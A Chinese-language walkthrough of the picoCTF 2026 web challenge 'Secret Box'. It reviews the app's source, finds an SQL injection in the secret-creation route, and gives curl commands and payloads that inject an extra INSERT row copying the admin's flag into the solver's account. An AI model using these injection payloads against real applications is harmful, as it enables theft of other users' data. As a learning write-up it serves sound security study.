8 min read

picoCTF 2026 Secret Box

picoCTF 2026 Secret Box

這題是 picoCTF 2026 的 Web 題:Secret Box

題目描述:

This secret box is designed to conceal your secrets.

It's perfectly secure—only you can see what's inside.

Or can you? Try uncovering the admin's secret.

這題一開始就給 source code,所以不是純黑箱猜題,

題目說的是:

每個人只能看到自己的 secret
但我們要想辦法看到 admin 的 secret

這種題目通常要先看兩件事:

  • secret 是怎麼存的
  • 網站怎麼判斷「這個 secret 是誰的」

題目資訊

  • 題目:Secret Box
  • 分類:Web Exploitation
  • 難度:Medium
  • 平台:picoCTF 2026

這篇照實際解題流程寫,重點是理解:

Express + EJS
PostgreSQL
auth_token
owner_id
SQL injection

最後我們不是直接進 admin 頁面,而是用 SQL injection 把 admin 的 secret 複製到自己的 secret box,

Step 1:下載 source code

先建立資料夾:

cd /mnt/d/Download
mkdir -p secretbox
cd secretbox

設定網址:

BASE='http://candy-mountain.picoctf.net:58604'
SRC='https://challenge-files.picoctf.net/c_candy_mountain/4185bd4297d58d842f759dc8857f6a03206fd0f2421e3aff2e9c43326fe61516/source.tar.gz'

下載並解壓:

curl -sS -L "$SRC" -o source.tar.gz
mkdir -p src
tar -xzf source.tar.gz -C src

rg --files src

可以看到:

src/source/docker-compose.yml
src/source/app/Dockerfile
src/source/db/Dockerfile
src/source/db/initdb.sql
src/source/app/src/handler.js
src/source/app/src/db.js
src/source/app/src/server.js
src/source/app/src/views/login.ejs
src/source/app/src/views/index.ejs
src/source/app/src/views/create_secret.ejs
src/source/app/src/views/my_secrets.ejs
src/source/app/src/views/signup.ejs

檔案很少,主線應該會在:

server.js:路由
handler.js:登入狀態 / token
initdb.sql:資料庫 schema
db.js:admin password / flag 初始化
views/*.ejs:畫面怎麼顯示

Step 2:EJS 是什麼

一開始看到 .ejs 可能會有點陌生,EJS 是 Node.js / Express 常用的模板引擎,完整名稱是:

Embedded JavaScript templates

可以把它想成 Flask 的 Jinja,

Flask Express / Node
render_template("index.html", data=x) res.render("index", { data: x })
Jinja template EJS template
{{ value }} <%= value %>

這題的首頁會這樣 render:

return res.render('my_secrets', {secrets: query.rows});

EJS 裡這樣顯示 secret:

<%= sec.content %>

<%= %> 會做 HTML escape,所以這題目前看起來不是 EJS SSTI,也不是 XSS 題,

EJS 只是負責把資料顯示出來,真正要看的還是後端 SQL。

Step 3:看資料庫結構

先看 initdb.sql

nl -ba src/source/db/initdb.sql | sed -n '1,80p'

重點是三張表:

CREATE TABLE users (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    username text NOT NULL,
    password text NOT NULL,
    created_at timestamptz NOT NULL DEFAULT now()
);

CREATE TABLE tokens (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id text NOT NULL REFERENCES users(id),
    created_at timestamptz NOT NULL DEFAULT now(),
    expired_at timestamptz NOT NULL DEFAULT now() + interval '1 days'
);

CREATE TABLE secrets (
    id text PRIMARY KEY DEFAULT gen_random_uuid(),
    owner_id text NOT NULL REFERENCES users(id),
    content text NOT NULL,
    created_at timestamptz NOT NULL DEFAULT now()
);

這裡可以先理解資料關係:

users.id
  -> tokens.user_id
  -> secrets.owner_id

也就是:

token 對應使用者
secret 也對應使用者

admin 的 UUID 也在初始化檔案裡:

INSERT INTO users(id, username, password)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'admin', 'fake_password');

INSERT INTO secrets(owner_id, content)
VALUES ('e2a66f7d-2ce6-4861-b4aa-be8e069601cb', 'picoCTF{fake_flag}');

雖然本地 source 是 fake flag,但 db.js 會在正式環境啟動時更新成真正的 flag:

await db('users')
  .where({ id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ password: process.env.USERPASSWORD });

await db('secrets')
  .where({ owner_id: 'e2a66f7d-2ce6-4861-b4aa-be8e069601cb' })
  .update({ content: process.env.FLAG });

所以可以確認:

admin 的 secret 就是 flag
admin 的 owner_id 是固定 UUID

Step 4:看登入狀態怎麼判斷

handler.js 負責讀 cookie:

const cookies = getCookies(req.headers.cookie);
const token = cookies.auth_token;

如果有 token,就查資料庫:

const query = await db.raw(
    `SELECT * FROM tokens WHERE id = ? AND expired_at > NOW()`,
    [token]
);

查得到就把使用者 ID 放到 request 裡:

req.userId = query.rows[0].user_id;

所以這題的登入狀態是:

cookie 裡有 auth_token
-> tokens 表查得到
-> req.userId = tokens.user_id

首頁 / 會用 req.userId 查自己的 secrets:

const query = await db.raw(
    `SELECT * FROM secrets WHERE owner_id = ?`,
    [userId]
);

return res.render('my_secrets', {secrets: query.rows});

這邊是參數化查詢,看起來沒有直接的 IDOR。

因為首頁只會查:

SELECT * FROM secrets WHERE owner_id = 自己的 userId

所以如果我們想看到 admin secret,不能只是改 URL,要想辦法讓 admin secret 變成「自己的 secret」。

Step 5:找到真正的 SQL injection

server.js 裡建立 secret 的 route:

nl -ba src/source/app/src/server.js | sed -n '120,140p'

重點是這段:

app.post('/secrets/create', authMiddleware, async (req, res) => {
    const userId = req.userId;
    if (!userId){
        res.clearCookie('auth_token');
        return res.redirect('/');
    }

    const content = req.body.content;
    const query = await db.raw(
        `INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
    );

    return res.redirect('/');
});

問題在這行:

`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`

userIdcontent 被直接拼進 SQL,其中 userId 來自 token,正常比較不好控制,但 content 是我們建立 secret 時輸入的內容,所以它是可控的。

後端原本想做:

INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', '我的 secret')

如果 content 可以提前關閉字串,我們就可以把 SQL 變成:

INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', 'x'),
       ('我的 userId', '另一筆 secret')--')

這裡不是送兩個 SQL statement,比較準確地說,是:

同一個 INSERT 裡面,追加第二筆 VALUES。

Step 6:先註冊普通使用者並登入

先註冊一個普通帳號:

BASE='http://candy-mountain.picoctf.net:58604'
C=secretbox_cookies.txt
USER="u$(date +%s)"
PASS="Passw0rd!"

curl -sS -i -c "$C" -X POST "$BASE/signup" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 01_signup.http

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/login" \
  --data-urlencode "username=$USER" \
  --data-urlencode "password=$PASS" \
  -o 02_login.http

TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"

echo "USER=$USER"
echo "TOKEN=$TOKEN"
sed -n '1,100p' 02_login.http

登入成功後會看到:

HTTP/1.1 302 Found
Set-Cookie: auth_token=...
Location: /

這裡的 auth_token 很重要,因為我們知道 token,但不知道自己的 user_id

不過資料庫知道:

SELECT user_id FROM tokens WHERE id='我們的 token'

所以等等可以用這個子查詢,讓資料庫自己幫我們找出目前使用者 ID。

Step 7:用 marker 證明 SQL injection 成功

先不要急著拿 flag,先用 marker 確認自己真的能插入第二筆 secret,

marker 就是我們故意放進去的標記,例如:

MARK1788101140

payload:

MARK="MARK$(date +%s)"
PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), '$MARK')--"

printf '%s\n' "$PAYLOAD"

送出:

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
  --data-urlencode "content=$PAYLOAD" \
  -o 03_marker.http

sed -n '1,120p' 03_marker.http

curl -sS -b "$C" "$BASE/" -o 04_home_marker.html
grep -Eo "$MARK|Server Internal Error|error|Error" 04_home_marker.html 03_marker.http

結果:

04_home_marker.html:MARK1788101140

這代表 marker 已經出現在自己的 Secret Box 裡。

也就是說,這段 payload 成功讓資料庫多插入了一筆 secret:

INSERT INTO secrets(owner_id, content)
VALUES ('我的 userId', 'x'),
       ((SELECT user_id FROM tokens WHERE id='我的 token'), 'MARK1788101140')--')

裡面的子查詢:

SELECT user_id FROM tokens WHERE id='我的 token'

會回傳自己的 user ID,所以第二筆 secret 其實等於:

('我的 userId', 'MARK1788101140')

marker 測試成功後,才進下一步。

Step 8:把 admin secret 複製到自己的 box

source code 已經告訴我們 admin 的 UUID:

e2a66f7d-2ce6-4861-b4aa-be8e069601cb

admin secret 存在:

secrets.content

所以要查 admin secret,可以用:

SELECT content
FROM secrets
WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb'
LIMIT 1

把 marker payload 裡的:

'MARK'

換成這個查詢:

(SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1)

完整指令:

TOKEN="$(awk '$6=="auth_token"{print $7}' "$C")"

PAYLOAD="x'), ((SELECT user_id FROM tokens WHERE id='$TOKEN'), (SELECT content FROM secrets WHERE owner_id='e2a66f7d-2ce6-4861-b4aa-be8e069601cb' LIMIT 1))--"

printf '%s\n' "$PAYLOAD"

curl -sS -i -b "$C" -c "$C" -X POST "$BASE/secrets/create" \
  --data-urlencode "content=$PAYLOAD" \
  -o 05_dump_admin_secret.http

sed -n '1,120p' 05_dump_admin_secret.http

curl -sS -b "$C" "$BASE/" -o 06_home_flag.html
grep -Eo 'picoCTF\{[^}]+\}' 06_home_flag.html

結果:

picoCTF{Redacted}

這裡的概念是:

第一筆:插入一個普通的 x
第二筆:owner_id 是我自己,content 是 admin secret

所以最後首頁查自己的 secrets 時:

SELECT * FROM secrets WHERE owner_id = 我的 userId

就會把剛剛複製過來的 admin secret 顯示出來。

中間 SQL 是怎麼組出來的

這題最容易卡住的是這個 payload:

x'), ((SELECT user_id FROM tokens WHERE id='TOKEN'), 'MARK')--

用 toy example 會比較好懂。

假設資料表長這樣:

users
U1 admin
U2 kevin

tokens
T2 -> U2

secrets
U1 -> picoCTF{secret}

正常新增 secret:

INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'hello')

如果 content 輸入:

x'), ('U2', 'MARK')--

後端拼完會變成:

INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'), ('U2', 'MARK')--')

這樣就插入兩筆:

U2 -> x
U2 -> MARK

但我們不一定知道自己的 user ID 是 U2,所以改成讓資料庫從 token 查:

SELECT user_id FROM tokens WHERE id='T2'

payload 變成:

x'), ((SELECT user_id FROM tokens WHERE id='T2'), 'MARK')--

最後再把 MARK 換成 admin secret:

x'), (
  (SELECT user_id FROM tokens WHERE id='T2'),
  (SELECT content FROM secrets WHERE owner_id='U1' LIMIT 1)
)--

等價於:

INSERT INTO secrets(owner_id, content)
VALUES ('U2', 'x'),
       ('U2', 'picoCTF{secret}')--')

所以這題不是直接繞過「只能看自己的 secret」,而是把 admin secret 複製成自己的 secret。

學習重點

Secret Box 這題名字取得很好,

表面上每個人的 box 都只查自己的 owner_id,看起來權限沒有錯,

但建立 secret 的地方有 SQL injection,

所以我們可以偷偷請資料庫做一件事:

幫我新增一筆 secret
owner 是我
內容是 admin 的 secret

這就是這題最核心的想法。